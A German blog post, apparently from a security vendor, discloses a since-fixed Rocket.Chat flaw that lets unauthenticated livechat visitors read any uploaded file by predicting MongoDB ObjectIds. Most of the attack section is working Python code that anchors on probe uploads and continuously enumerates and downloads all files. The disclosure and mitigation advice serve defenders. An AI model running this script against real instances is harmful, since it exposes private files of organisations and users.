Aikido

Kontinuierliche Vorhersage von MongoDB ObjectId() in Rocket.Chat

Verfasst von
Jorian Woltjer

Anwendungen, die MongoDB nutzen, neigen häufig dazu, die ObjectId() als kryptografisch sicher gelten. Vor kurzem haben wir festgestellt, dass Rocket.Chat, eine Open-Source-Anwendung ähnlich wie Slack, davon betroffen ist. Bei Aikido nutzen wir KI-Penetrationstests an verschiedenen Open-Source-Anwendungen, um unsere Agenten zu testen und ihre Stärken sowie Verbesserungsmöglichkeiten zu ermitteln. Während des Penetrationstests meldete einer der Agenten, dass ein nicht authentifizierter Rocket.Chat-Benutzer auf jede hochgeladene Datei zugreifen kann, wenn er deren ID kennt. Die ID wird mit MongoDBs ObjectId() und wirken auf den ersten Blick zufällig, aber wenn man genauer hinschaut, sind sie das ganz und gar nicht!

In diesem Beitrag zeigen wir, wie ein Angreifer kontinuierlich alle generierten gültigen IDs abrufen kann. Wir beschreiben einen Angriff, bei dem die aktuelle ID abgefragt wird, um alle anderen von der Anwendung generierten IDs vorherzusagen. Dies wird anhand der Erfassung aller hochgeladenen Dateien in einer Rocket.Chat-Instanz veranschaulicht. Der Angriff könnte nicht nur auf Rocket.Chat, sondern auch auf verschiedene andere Anwendungen angewendet werden, die MongoDB mit denselben Primitiven nutzen.

Wir haben das Problem in Rocket.Chat am 21. April über HackerOne entdeckt und gemeldet (mittlerweile öffentlich bekannt gegeben: #3687142). Stand 12. Juni wurde es in den Versionen 8.5.1, 8.4.4, 8.3.6, 8.2.6, 8.1.6, 8.0.7, 7.13.9 und 7.10.13 behoben. Falls Sie oder Ihre Organisation eine Rocket.Chat-Instanz betreiben, sollten Sie so schnell wie möglich auf eine dieser Versionen oder eine neuere Version aktualisieren, sofern Sie dies noch nicht getan haben. Da es sich um einen nicht authentifizierten Exploit handelt, kann jeder mit Netzwerkzugang diese Schwachstelle ausnutzen.

Die Schwachstelle

Bevor wir uns mit der Exploit-Technik befassen, möchte ich zunächst näher erläutern, wie Rocket.Chat funktioniert.

Der Hauptanwendungsfall von Rocket.Chat ist die Kommunikation innerhalb Ihrer Organisation und Ihres Teams. Die Unterhaltungen werden auf konfigurierbare Kanäle aufgeteilt, und die Nutzer können neben dem Chat auch Dateien austauschen. Um die Angriffsfläche für nicht authentifizierte Nutzer zu verstehen: In der Standardkonfiguration können sich Nutzer nicht selbst registrieren, und zum Öffnen der App ist eine Anmeldung erforderlich.

Die Rocket.Chat-Web-App mit einem geöffneten Kanal, in der die Seitenleiste, der Nachrichten-Feed und ein aktiver Thread zu sehen sind.
Rocket.Chat mit geöffnetem Kanal

Außerdem gibt es eine optionale Komponente namens Live-Chat, bei dem es sich im Grunde um einen nicht authentifizierten Helpdesk-Chat handelt. Auch wenn dies optional ist, ist es standardmäßig aktiviert, aber es ist nur sichtbar, wenn man direkt zu /Live-Chat:

Das Livechat-Widget von Rocket.Chat unter /livechat, ein Helpdesk-Formular ohne Authentifizierung mit Feldern für Name, E-Mail-Adresse und Nachricht.

Über den Live-Chat können Nutzer eine reine Textnachricht an den Helpdesk senden. Zudem unterstützt dieses Widget das Hochladen von Dateien, allerdings ist das Eingabefeld standardmäßig deaktiviert (deshalb ist es auf dem obigen Screenshot nicht zu sehen). Dennoch bleibt der API-Endpunkt zum Hochladen von Dateien ohne Authentifizierung weiterhin zugänglich. Dies ist die wichtigste Funktion, die wir für unseren späteren Exploit nutzen werden.

Dateien, die über eine dieser Funktionen (authentifizierte Kanäle und nicht authentifizierter Live-Chat) hochgeladen werden, werden am selben Speicherort abgelegt: /file-upload/{fileId}. Das führt zu einigen Komplikationen in der Autorisierungslogik. Könnten wir eine Funktion in Livechat ausnutzen, um echte Kanal-Uploads auszulesen?

Einer der Agenten bemerkte etwas Seltsames in FileUpload.ts. Es gibt zwei Es gibt verschiedene Möglichkeiten, die Room-ID einer Datei zu definieren. Zunächst erfolgt die Autorisierung durch requestCanAccessFiles in dem es heißt rc_rid (reiten = Raum-ID) aus dem Abfrage-String.

async requestCanAccessFiles({ headers = {}, url }: http.IncomingMessage, file?: IUpload) {
    const { query } = URL.parse(url, true);
    let { rc_uid, rc_token, rc_rid, rc_room_type } = query;
    ...
   const isAuthorizedByRoom = async () =>
        rc_room_type &&
        roomCoordinator
            .getRoomDirectives(rc_room_type)
            .canAccessUploadedFile({ rc_uid: rc_uid || '', rc_rid: rc_rid || '', rc_token: rc_token || '' });

Die angegebenen rc_rid wird an canAccessUploadedFile zusammen mit dem rc_token Parameter, um zu überprüfen, ob Sie Zugriff auf diesen Raum haben und die Datei lesen können:

async canAccessUploadedFile({ rc_token: token, rc_rid: rid }) {
    return token && rid && !!(await LivechatRooms.findOneByIdAndVisitorToken(rid, token));
},

Zweitens gibt es den Aufruf zu FileUpload.requestCanAccessFiles, das die Datei aus dem /file-upload/{fileId}/… Pfad und sucht ihn direkt in der Datenbank:

WebApp.connectHandlers.use(FileUpload.getPath(), async (req, res, next) => {
    const match = /^\/([^\/]+)\/(.*)/.exec(req.url || '');

    if (match?.[1]) {
        const file = await Uploads.findOneById(match[1]);

        if (file) {
            if (!(await FileUpload.requestCanAccessFiles(req, file))) {

Dies Datei hat außerdem ein reiten (Raum-ID), die von der angegebenen abweichen kann rc_rid in der URL. Was würde passieren, wenn sie nicht übereinstimmen?

Die Antwort lautet: eine erhebliche Sicherheitslücke. Rocket.Chat überprüft nicht, ob sich die von Ihnen angeforderte Datei tatsächlich in dem Raum befindet, für den Sie den Zugriff prüfen. Das bedeutet, dass Sie einen beliebigen gültigen Dummy-Raum angeben und dann einen beliebigen Datei-ID im Pfadparameter, um dessen Inhalt abzurufen.

Schauen wir uns das einmal in der Praxis an. Zunächst laden wir als Opfer eine beliebige Datei in einen Kanal hoch. Im folgenden Screenshot hat der Admin-Benutzer file.txt:

Eine Rocket.Chat-Nachricht des Benutzers „admin“ mit einer hochgeladenen Datei namens „file.txt“, die als 17-Byte-TXT-Anhang angezeigt wird.

Kopieren Sie anschließend den Link zur Datei, zum Beispiel:
https://rocketchat.local/file-upload/6a325394876fbe9c70b1b03f/file.txt
Wenn man die URL einfach so in einem Inkognito-Tab aufruft, wird ein 403-Fehler zurückgegeben, sie dürfte also privat sein. Schauen wir nun, ob wir sie mithilfe der Livechat-Funktion auslesen können.

Nimm die Datei-ID Teil 6a325394876fbe9c70b1b03f, und rufen wir dieselbe URL mit einem beliebigen anonymen Livechat-Raumnutzer auf. Wir können eine Sitzung erstellen, indem wir uns zunächst als „Besucher“ mit einem beliebigen Token-Wert registrieren und anschließend unsere Raum-ID abfragen. Mit dieser gültigen Raum-ID können wir – sofern unser Exploit funktioniert – nun jede beliebige Datei abrufen, sofern wir lediglich deren Datei-ID. Denn es findet kein Abgleich zwischen dem tatsächlichen Raum der Datei und unserem temporären Raum statt.

Wir werden Schritt für Schritt ein Python-Skript für unseren abschließenden Exploit erstellen. Dabei beginnen wir mit der Umsetzung dieser Idee:

HOST = "https://rocketchat.local"
FILE_ID = "6a325394876fbe9c70b1b03f"

s = requests.Session()

token = "x"
# Create anonymous visitor with token
s.post(f"{HOST}/api/v1/livechat/visitor", 
       json={"visitor": {"token": token, "name": "attacker", "email": "attacker@example.com"}})
# Get our Room ID
r = s.get(f"{HOST}/api/v1/livechat/room", 
          params={"token": token, "agentId": "rocket.cat"})
rid = r.json()["room"]["_id"]
print(f"{rid=}")  # ceHsTjGSTfvAzWHk2

# Get other file using our Room ID
r = s.get(f"{HOST}/file-upload/{FILE_ID}/x", 
          params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
print(r.text)  # SUPER SECRET DATA
print(r.headers["Content-Disposition"])  # attachment; filename*=UTF-8''file.txt

Wir haben erfolgreich die STRENG GEHEIME DATEN innen file.txt! Außerdem erhalten wir den ursprünglichen Dateinamen in der Content-Disposition: Kopfzeile, wodurch sich leichter erkennen lässt, was die Datei eigentlich enthalten soll.

Ein toller Fund des Maklers, der sich jedoch auf Kenntnisse über das schwer zu erratende Datei-ID: 6a325394876fbe9c70b1b03f. Es sieht aus wie ein Zufallswert, der aus 12 Bytes besteht. Selbst bei einer Million Anfragen pro Sekunde würde es mehrere tausend Weltzeitalter dauern, bis man mit einem ersten Treffer rechnen könnte. Das ist nicht ganz realistisch.

Nachdem wir einen weiteren Teil des Quellcodes der Anwendung manuell überprüft hatten, konnten wir keine Möglichkeit finden, diese Datei-IDs direkt aus anderen Quellen zu ermitteln. Wie kommen wir nun an eine gültige ID?

Ein erster Hinweis ergibt sich aus der Tatsache, dass diese ID von MongoDB generiert wird. ObjectId() Funktion. „Inwiefern hilft uns das?“, fragen Sie sich vielleicht.

MongoDB ObjectId()

Wie in der Dokumentation erläutert, setzt sich eine ObjectId wie folgt zusammen:

  • Ein 4-Byte-Zeitstempel, der den Zeitpunkt der Erstellung der ObjectId angibt, gemessen in Sekunden seit der Unix-Epoche.
  • Ein 5-Byte-Zufallswert, der einmal pro clientseitigem Prozess generiert wird. Dieser Zufallswert ist für den jeweiligen Rechner und Prozess eindeutig. Wird der Prozess neu gestartet oder ändert sich der primäre Knoten des Prozesses, wird dieser Wert neu generiert.
  • Ein 3-Byte-Inkrementierzähler pro clientseitigem Prozess, der auf einen Zufallswert initialisiert wird. Der Zähler wird bei einem Neustart des Prozesses zurückgesetzt.

Eine ID wie also 6a325394876fbe9c70b1b03f lässt sich unterteilen in:

Eine MongoDB-ObjectId, die sich aus einem 4-Byte-Zeitstempel, einem 5-Byte-statischen Zufallswert und einem 3-Byte-Zähler zusammensetzt.

Dort heißt es außerdem:

> Bei Zeitstempel- und Zählerwerten stehen die höchstwertigen Bytes an erster Stelle in der Byte-Reihenfolge (Big-Endian).

Unser Zeitstempel „6a325394“ lässt sich also in den 17. Juni 2026 um 9:58:12 Uhr umrechnen:

>>> von datetime import datetime
>>> datetime.fromtimestamp(int("6a325394", 16))
datetime.datetime(2026, 6, 17, 9, 58, 12)

Der Zählerstand b1b03f ist ebenfalls eine Big-Endian-Ganzzahl. b1b03f + 1 wäre b1b040, die nächste ID. Dieser Zähler wird zufällig initialisiert und beginnt wieder bei ffffff zu 000000.

Das wird auch ganz deutlich, wenn wir nun zwei aufeinanderfolgende Datei-IDs vergleichen. Sie sind alles andere als zufällig.

  1. 6a325394876fbe9c70b1b03f
  2. 6a325a30876fbe9c70b1b048

Völlig zufällige Vorhersage

Angesichts dieser geringen Entropie könnte man meinen, wir könnten die IDs einfach nach dem Brute-Force-Prinzip durchprobieren, bis wir zufällig auf eine vorhandene Datei stoßen. Das trifft zwar größtenteils auf den Zeitstempel zu (wir kennen nur die Anzahl der Sekunden der letzten Monate), doch den statischen Zufallswert von 5 Byte kennen wir nicht, und auch der Zähler wird zufällig initialisiert.

Allein der statische Zufallswert bietet mehr als eine Billion Möglichkeiten (256^5). Bei einer Rate von 1000 Anfragen pro Sekunde würdest du immer noch etwa 18 Jahre warten müssen. Bis dahin wäre ich schon beeindruckt, wenn der Rechner deines Angreifers überhaupt noch laufen würde.

Wir können davon ausgehen, dass dies unmöglich ist.

Vorhersage ausgehend von einem Ankerpunkt

Der bessere Ansatz hierfür ist, herauszufinden, jegliche ObjectId() Ausgabe aus der Anwendung und daraus dann zukünftige Fälle vorherzusagen. Ein „Ankerpunkt“. In Rocket.Chat gibt es glücklicherweise eine sehr einfache Möglichkeit, dies mit der Livechat-Funktion zu tun, die wir bereits nutzen. Wenn wir einfach anonym eine Datei hochladen, erhalten wir deren ID – das ist unser Beispiel.

r = s.post(f"{HOST}/api/v1/livechat/upload/{rid}", 
            headers={"x-visitor-token": token}, 
            files={"file": ("probe", b"probe", "text/plain")})
r.raise_for_status()
data = r.json()
probe_id = data["file"]["_id"]
print(f"{probe_id=}")  # 6a325fbf876fbe9c70b1b053

Wir haben nun zwei erforderliche Primitive:

  1. Etwas, zu dem wir keinen Zugang haben sollten, ist zugänglich wenn wir wissen, dass es ObjectId()
  2. Wir haben eine Möglichkeit, erzeugen und lesen Sie unsere eigenen ObjectId()

Damit kommen wir schon viel weiter. Um Dateien zu finden, die von anderen Nutzern hochgeladen wurden, müssen wir uns überlegen, was sich ändert: der Zeitstempel und der Zähler. Den Zeitstempel müssen wir in Sekunden um den gewünschten Wert verringern, bis wir den gewünschten Zeitpunkt erreichen. Was den Zähler angeht, wissen wir jedoch nicht genau, um wie viel wir ihn verringern müssen, da andere Funktionen möglicherweise ObjectId()Das ist auch gut so, denn so lassen wir bestimmte Werte für die gesuchten Datei-IDs einfach aus.

Schon allein durch das Erraten einiger Bereiche können wir recht gute Ergebnisse erzielen:

# Parse parts of the ObjectId()
timestamp = datetime.fromtimestamp(int(probe_id[0:8], 16))
random = probe_id[8:18]
counter = int(probe_id[18:24], 16)
print(f"{timestamp=} {random=} {counter=}")

# Loop through the last 5 minutes of timestamps, and last 20 counters
for delta in tqdm(range(int(timedelta(minutes=5).total_seconds()))):
    for c in range(counter - 20, counter):
        t = timestamp - timedelta(seconds=delta)  # Go backwards
        # Create new potential ObjectId()
        oid = f"{int(t.timestamp()):08x}{random}{c:06x}"
        if oid == probe_id:
            continue  # Skip our own file

        # Try requesting it, if successful, print it
        r = s.get(f"{HOST}/file-upload/{oid}/x", 
            params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
        if r.ok:
            tqdm.write(f"{oid}: {r.text!r}")

Wenn wir eine Datei auf Rocket.Chat hochladen und dieses Skript kurz darauf ausführen, ermittelt es die ID und die dazugehörigen Daten (wobei die letzten 5 Minuten sowie die vorherigen 20 IDs im Zähler durchlaufen werden). Nachfolgend finden Sie ein Beispiel für die zu erwartende Ausgabe:

probe_id='6a326750876fbe9c70b1b069'
timestamp=datetime.datetime(2026, 6, 17, 11, 22, 24) random='876fbe9c70' counter=11645033
6a326747876fbe9c70b1b068: 'SUPER SECRET DATA'                             
  6%|██▎                                 | 19/300 [00:09<02:36,  1.79it/s]

Zwar ist dies für einen Proof-of-Concept praktikabel, doch bei einem realistischen Angriff weiß man nicht genau, wann ein Opfer seine Datei hochlädt. Eine reale Instanz könnte zudem wesentlich stärker ausgelastet sein als unsere lokale Instanz und somit viele ObjectId()Das gilt auch für andere Funktionen, die die Datei-IDs verschieben. Wir müssen schneller vorgehen und einen Weg finden, um sicherzustellen, dass wir jede Datei-ID erfassen, ohne Annahmen über den Zeitstempel oder den Zähler zu treffen.

Alle ObjectId()s fortlaufend ermitteln

Ein großer Engpass besteht derzeit darin, dass wir jede ID nacheinander synchron abfragen. Während wir auf eine Antwort vom Server warten, tun wir nichts. Indem wir den Code so umgestalten, dass er asynchron mit einer Bibliothek wie httpx, können wir mehrere Worker starten, die alle gleichzeitig Anfragen aus einer Warteschlange versenden.
Wir extrahieren den Dateinamen aus der Content-Disposition: Kopfzeile gleichzeitig einfügen und die Datei unter Lecks/ lokal unter dem ursprünglichen Dateinamen.

async def get_token(client):
    token = "x"
    r = await client.post(f"{HOST}/api/v1/livechat/visitor", json={"visitor": {"token": token, "name": "probe", "email": "probe@ex.com"}})
    r.raise_for_status()
    r = await client.get(f"{HOST}/api/v1/livechat/room", params={"token": token, "agentId": "rocket.cat"})
    r.raise_for_status()
    rid = r.json()["room"]["_id"]
    return token, rid

async def oid_worker(client, i, queue, rid, token):
    while True:
        oid = await queue.get()
        print(f"Worker {i} requesting {oid}")
        r = await client.get(f"{HOST}/file-upload/{oid}/x", params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
        if r.status_code == 200:
           filename = unquote(r.headers["Content-Disposition"].split("filename*=UTF-8''")[1])
            try:
                content = r.text
            except UnicodeDecodeError:
                content = r.content
            print(f"[LEAK] {oid} ({filename}): {content[:100]!r}")
            with open(f"leaks/{filename.replace('/', '_')}", "wb") as f:
                f.write(r.content)

async def main():
    queue = asyncio.Queue()
    num_workers = 10

    async with httpx.AsyncClient() as client:
        token, rid = await get_token(client)
        print(f"{rid=}")

        print("Starting producer loop...")
        producer_task = asyncio.create_task(oid_producer(client, queue, rid, token))  # We will implement the producer in a second
        print(f"Starting {num_workers} workers...")
        worker_tasks = [
            asyncio.create_task(oid_worker(client, i, queue, rid, token))
            for i in range(num_workers)
        ]
        await asyncio.gather(producer_task, *worker_tasks)

if __name__ == "__main__":
    asyncio.run(main())

Um sicherzustellen, dass wir jede vorhandene ID erfassen, können wir den Unterschied zwischen mehreren Abfragen nutzen. Wenn bei einer vorherigen Abfrage der Zählerstand bei 100 lag und bei der nächsten Abfrage wenig später (z. B. 10 Sekunden) bei 122, wissen wir, dass in der Zwischenzeit 22 IDs generiert wurden. Auch das Zeitintervall ist sofort klar: 10 Sekunden. Somit können wir so schnell wie möglich 10 × 22 IDs durchlaufen.

Wenn das erledigt ist, können wir 10 Sekunden später eine weitere Abfrage senden – nehmen wir an, der Zähler steht dann bei 130. Vergleichen wir diesen Wert mit der nun vorherigen Abfrage von 122, und schon müssen wir erneut 8 Zählerwerte über einen Zeitraum von 10 Sekunden ausprobieren.
Wir können diese Schleife fortführen und so ID-Lücken erzeugen, indem wir kontinuierlich in kurzen Intervallen Abfragen durchführen und diese mithilfe asynchroner Worker schnell abrufen.

Visuell dargestellt funktioniert der Algorithmus in etwa so: Anstatt einen gesamten Bereich von 9 × 26 = 234 IDs abzurufen, können wir Stichproben aus der Anwendung entnehmen, um die zu durchsuchenden Rechtecke zu verkleinern. Die Summe dieser kleineren Bereiche beträgt 6 + 16 + 45 = 67 und liegt damit deutlich unter dem naiven Gesamtbereich.

Ein Diagramm, das den Zählerstand im Vergleich zum Zeitstempel darstellt und zeigt, wie durch das Abtasten zwischen den Abtastwerten die ID-Bereiche für einen Brute-Force-Angriff von 234 auf 67 schrumpfen.

Indem wir das Programm am Laufen halten und die Anfragen schnell genug abwickeln, können wir sicherstellen, dass wir jede mögliche Datei-ID abdecken.

In unserer Python-Implementierung ist dies nicht schwer umzusetzen. Wir müssen lediglich jede Probe-ID aufteilen, um den Zeitstempel und den Zähler zu extrahieren, und diese dann mit den vorherigen Werten vergleichen.
Wenn wir klug vorgehen, können wir unsere eigenen Sonde-Zählerwerte bei der Suche außer Acht lassen, da es sich dabei niemals um die geheimen Dateien handeln wird, nach denen wir suchen. Ein Sonderfall, auf den wir achten müssen, ist, dass der Zähler von ffffff zu 000000 Wenn diese Grenze erreicht wird, müssen wir einen Modulo-Operator verwenden, um sicherzustellen, dass die Länge innerhalb von 3 Bytes bleibt.

PRODUCER_INTERVAL = 10

def split_probe_id(probe_id):
    timestamp = int(probe_id[0:8], 16)
    random = probe_id[8:18]
    counter = int(probe_id[18:24], 16)
    return timestamp, random, counter

def mod_range(start, stop, modulus):
    for i in range((stop - start) % modulus):
        yield (start + i) % modulus

async def oid_producer(client, queue, rid, token):
    prev_probe_id = await get_probe_id(client, rid, token)
    probes = set([split_probe_id(prev_probe_id)[2]])
    await asyncio.sleep(PRODUCER_INTERVAL)
    while True:
        probe_id = await get_probe_id(client, rid, token)
        prev_timestamp, _, prev_counter = split_probe_id(prev_probe_id)
        timestamp, random, counter = split_probe_id(probe_id)
        probes.add(counter)
        i = 0
        for t in range(prev_timestamp, timestamp):
            for c in mod_range(prev_counter, counter, 0x1000000):
                if c in probes:
                    continue  # Skip our own files
                oid = f"{t:08x}{random}{c:06x}"
                await queue.put(oid)
                i += 1
        print(f"Produced {i} IDs")
        prev_probe_id = probe_id
        await asyncio.sleep(PRODUCER_INTERVAL)

Wenn wir das Skript nun endlich ausführen, sehen wir auf unserer lokalen Instanz, dass es ziemlich ereignislos verläuft, solange nichts passiert. Wir überspringen unsere eigenen IDs, und der Unterschied zur vorherigen Überprüfung beträgt lediglich 1. Sobald wir die Anwendung öffnen und eine Datei hochladen, wird diese innerhalb von 10 Sekunden vom Exploit-Skript erkannt und von einem Worker, der sie aufgegriffen hat, weitergegeben:

Produzenten-Loop wird gestartet...
Start 10 Worker...
Produziert 0 IDs
Erstellt 0 IDs
...
Erstellt 22 IDs
Arbeiter 0 Anfrage 6a32774c876fbe9c70b1b112
Worker 1 anfordert 6a32774c876fbe9c70b1b113
...
Arbeiter 3 Anfrage an 6a327754876fbe9c70b1b113
[LEAK] 6a32774e876fbe9c70b1b112: „SUPERGEHEIME DATEN“
Arbeiter 5 Anfrage an 6a327756876fbe9c70b1b113
Erstellt 0 IDs

Erfolg! Während das Skript läuft, identifizieren und veröffentlichen wir nun jede hochgeladene Datei auf der Rocket.Chat-Instanz. Dank der Geschwindigkeitsverbesserungen kann die Instanz regulär genutzt werden, ohne unser Skript nennenswert zu beeinträchtigen – und da es sich um eine Warteschlange handelt, wird bei zu hohem Arbeitsaufkommen der Rückstand einfach aufgeholt, sobald die Aktivität nachlässt.Beachten Sie, dass das derzeit verwendete 10-Sekunden-Intervall völlig willkürlich ist: Je niedriger Sie es einstellen, desto kleiner werden die möglichen Bereiche, sodass Sie genau erkennen können, wann eine Datei hochgeladen wird. Sie können das Verhältnis zwischen der Anzahl der Abfragen zur Erkundung und der Anzahl der Abfragen für Brute-Force-Angriffe selbst festlegen.

Sehen Sie sich den Proof-of-Concept in diesem Video an:

Das Wichtigste auf einen Blick

Rocket.Chat hat das Problem mit der Zugriffskontrolle behoben (#40889) durch Übergabe des Datei in canAccessUploadedFile(), und zu überprüfen, ob die ausgewählte Datei mit der im Abfrageparameter angegebenen Raum-ID übereinstimmt.

Als allgemeine Richtlinie empfehlen wir bei zufälligen IDs, sich nicht auf ObjectId(), ist sie fast genauso unsicher wie eine einfache inkrementelle ID. Als mehrschichtige Sicherheitsmaßnahme sollten Sie UUIDv4 für sichere Zufallszeichenfolgen verwenden, um sicherzustellen, dass ein Angreifer selbst bei Fehlern in der Zugriffskontrolle noch einen zweiten Schritt benötigt, um die IDs zu ermitteln.

Unser Agent hat die IDOR-Sicherheitslücke zwar erfolgreich aufgedeckt, hat jedoch zunächst nichts zur Vorhersehbarkeit von MongoDB erwähnt ObjectId()s, da eine einzelne Stichprobe auf den ersten Blick zufällig erscheint. Dank der Änderungen, die wir im Anschluss an diese Untersuchung vorgenommen haben, untersuchen die Agenten nun die Entropie solcher IDs, um die Wahrscheinlichkeit einer Ausnutzung in den Berichten genauer zu erklären.

Sicherheitsforscher und Penetrationstester, die den Realismus ihrer IDOR-PoCs verbessern möchten, wissen nun, dass sich MongoDB-IDs leicht vorhersagen lassen. Darauf sollten Sie achten, wenn Sie zwei IDs haben, die sich unheimlich ähnlich sehen.

Unser KI-Penetrationstests hat dies eigenständig entdeckt. Wenn Sie hochwertige und schnelle Penetrationstests für Ihre Anwendung durchführen möchten, sollten Sie sich die Penetrationstest-SuiteAikido einmal ansehen.

Teilen:

https://www.aikido.dev/blog/predicting-mongodb-objectid-rocket-chat

Nach Malware scannen

Kostenlos starten
4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.